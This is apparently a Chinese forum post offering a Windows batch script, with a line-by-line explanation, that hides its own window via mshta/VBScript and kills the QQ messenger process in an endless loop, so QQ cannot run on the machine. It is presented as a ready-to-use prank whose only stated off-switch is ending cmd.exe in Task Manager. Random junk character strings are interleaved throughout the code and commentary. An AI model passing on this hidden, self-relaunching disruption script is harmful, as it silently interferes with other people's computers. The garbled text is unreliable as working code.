|
功能:运行以后机器上的QQ就不能运行了。终结方法是:打开任务管理器,然后结束进程cmd.exe就可以了。
0 F* Y0 q# q0 }; [新建文本文档,然后将下面代码复制进去,然后重命名为a.bat,然后双击就可以了。
& P3 Y4 I" n) v7 Q) L( y2 Y H' b% X/ B. X
@echo off
* X1 R) x! P, |if "%1" == "h" goto begin 6 f( x$ ?7 v$ I/ g
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit
8 x+ x; U: V; t! Z:begin 1 f6 c2 ]: i" B& v
tasklist |find /i "QQ.exe" & W1 \1 M# |+ f, P- G
if %errorlevel%==0 (goto killit) else (goto next) " q, d0 q6 l0 R/ i! l
:killit , S( q( _# }8 O
taskkill /f /im QQ.exe ' N/ M: _+ c5 D3 ^2 Q
:next
' ]. {' c0 K6 Z$ |ping -n 3 127.t >nul 2>nul * ~1 r, `% k% L9 L
goto begin
5 c9 F2 R, u8 K- k" D8 @+ e" c+ _
代码到此为止
8 A, {$ Z4 F& I9 j讲解如下:
* F" \) G( k. z4 Y; t% W@echo off ------关闭回显 ' q; R6 c7 Z( r8 e, U
if "%1" == "h" goto begin --如果文件运行时有参数h,则显示窗口运行,否则只是在后台运行
: O) \; }( v( R, K; l& Smshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit -----隐藏窗口代码 : P f& m+ B6 A. |
:begin ------------定一段名begin
% W( Y* j x0 t7 h2 y# C4 u2 Utasklist |find /i "QQ.exe" ----在任务管理器里寻找进程QQ.exe
0 ~! T; Z, q1 F" K$ kif %errorlevel%==0 (goto killit) else (goto next)---如果存在QQ.exe.则跳转执行killit,否则执行next
/ N" Z" N5 J/ c$ v7 _6 g7 |:killit 4 ^. M) H0 _& ?" n5 Q% n
taskkill /f /im QQ.exe----终结进程QQ.exe
# Q9 E4 G, S; n7 t1 Z" w8 U:next + O, X" l" X. c4 w0 O( X: Y) j
ping -n 3 127.t >nul 2>nul -----延迟一段时间 ' l$ w+ X6 b4 e# D
goto begin--------------返回执行begin8 ]5 d! Z. Q; R Q8 m9 v) `0 Z
|
|